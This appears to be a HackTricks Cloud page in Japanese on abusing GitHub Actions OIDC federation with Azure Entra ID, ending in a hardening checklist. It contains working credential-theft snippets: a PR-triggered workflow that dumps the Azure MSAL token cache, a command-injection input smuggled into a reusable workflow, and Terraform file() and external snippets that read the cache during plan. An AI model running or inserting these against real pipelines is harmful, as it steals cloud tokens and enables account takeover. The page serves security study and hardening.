Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
概要
GitHub ActionsはOpenID Connect (OIDC)を用いてAzure Entra ID(旧Azure AD)とフェデレーションできます。GitHub workflowは、実行の詳細をエンコードした短命のGitHub ID token (JWT)を要求します。AzureはこのトークンをApp Registration(service principal)上のFederated Identity Credential (FIC)に対して検証し、Azureアクセス トークン(MSALキャッシュ、Azure API向けのbearerトークン)と交換します。
Azureが少なくとも検証する項目:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (Azureトークンと交換する際)
- sub: 設定されたFIC Subject identifierと一致している必要がある
デフォルトのGitHub audはGitHubのURLである場合がある。Azureと交換する際は、明示的に audience=api://AzureADTokenExchange を設定する。
GitHub ID token 簡易 PoC
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
トークン要求時に Azure の audience を強制するには:
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
Azure セットアップ (Workload Identity Federation)
-
App Registration (service principal) を作成し、最小権限を付与する(例:特定の storage account に対して Storage Blob Data Contributor)。
-
Federated identity credentials を追加する:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: 対象の workflow/run コンテキストに厳密にスコープすること(下の Scoping and risks を参照)。
- azure/login を使って GitHub ID token を交換し、Azure CLI にサインインする:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
手動交換の例 (Graph scope を示す; ARM やその他の resources も同様):
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
GitHub OIDC subject (sub) の構造とカスタマイズ
デフォルトの sub 形式: repo:
Context の値には次が含まれる:
- environment:
- pull_request (environment が指定されていない場合に PR がトリガーされる)
- ref:refs/(heads|tags)/
ペイロードに含まれることが多い有用なクレーム:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
GitHub API を使って sub の構成をカスタマイズし、追加の claims を含めて衝突リスクを減らす:
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
注意: 環境名のコロンは URL エンコードされており (%3A)、sub parsing に対する古い delimiter‑injection の手口を排除します。ただし、non‑unique な subjects(例: environment:
FIC サブジェクトタイプの範囲とリスク
- Branch/Tag: sub=repo:
/ :ref:refs/heads/ or ref:refs/tags/ - リスク: branch/tag が保護されていない場合、任意の contributor が push して tokens を取得できる。
- Environment: sub=repo:
/ :environment: - リスク: Unprotected environments(レビューアがいない)だと、contributors が tokens を mint できる。
- Pull request: sub=repo:
/ :pull_request - 最も高いリスク: 任意の collaborator が PR を開き、FIC を満たせる。
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
関連ファイルの場所とメモ:
- Linux/macOS: ~/.azure/msal_token_cache.json は az CLI セッション用の MSAL tokens を保持します
- Windows: msal_token_cache.bin はユーザープロファイル内にあり; DPAPI‑protected
再利用ワークフローと job_workflow_ref のスコープ
再利用ワークフローを呼び出すと、job_workflow_ref が GitHub ID token に追加されます。例:
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
呼び出し元リポジトリと再利用可能なワークフローの両方をバインドするためのFICの例:
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
caller repoでclaimsを構成して、repoとjob_workflow_refの両方がsubに含まれるようにしてください:
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
警告: FICでjob_workflow_refだけをバインドすると、攻撃者が同じ組織内に別のリポジトリを作成し、同じrefで同じ再利用可能なワークフローを実行してFICを満たし、トークンをミントする可能性があります。常に呼び出し元リポジトリも含めてください。
job_workflow_refの保護を回避するコード実行ベクター
適切にスコープされたjob_workflow_refがあっても、シェルに安全にクオートされずに到達する呼び出し元が制御するデータは、保護されたワークフローコンテキスト内でのコード実行につながる可能性があります。
再利用可能なステップの脆弱な例(未クオートの補間):
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
コマンドを実行し、Azure のトークン キャッシュを持ち出すための悪意のある呼び出し元の入力:
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
PRsにおける実行プリミティブとしての Terraform plan
terraform plan をコード実行として扱う。
plan 実行中、Terraform は以下が可能:
- file() のような関数を介して任意のファイルを読み取る
- external data source を介してコマンドを実行する
plan 実行中に Azure token cache を抜き出す例:
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
または external を使って任意のコマンドを実行する:
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
ハードニングチェックリスト
- 機密性の高い FICs に対して sub=…:pull_request を使用しない
- FICs で参照される branch/tag/environment を保護する(branch protection、environment reviewers)
- reusable workflows 用には repo と job_workflow_ref の両方にスコープされた FICs を優先する
- GitHub OIDC の sub をカスタマイズしてユニークなクレーム(例: repo, job_workflow_ref, repository_owner)を含める
- caller inputs の未引用インターポレーションを run ステップに埋め込むことを排除する;安全にエンコード/引用する
- terraform plan をコード実行として扱い、PR コンテキストではアイデンティティを制限または分離する
- App Registrations に最小権限を適用し、plan と apply のアイデンティティを分離する
- actions と reusable workflows をコミット SHA にピン留めする(branch/tag ピンは避ける)
手動テストのヒント
- ワークフロー内で GitHub ID token を要求し、マスキングを避けるため base64 で出力する
- JWT をデコードしてクレームを確認する: iss, aud, sub, job_workflow_ref, repository, ref
- ID token を手動で login.microsoftonline.com に対して交換し、FIC の一致とスコープを確認する
- azure/login の後で ~/.azure/msal_token_cache.json を読み、トークン素材の存在を検証する
参考
- GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)
- azure/login action
- Terraform external data source
- gh CLI
- PaloAltoNetworks/github-oidc-utils
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

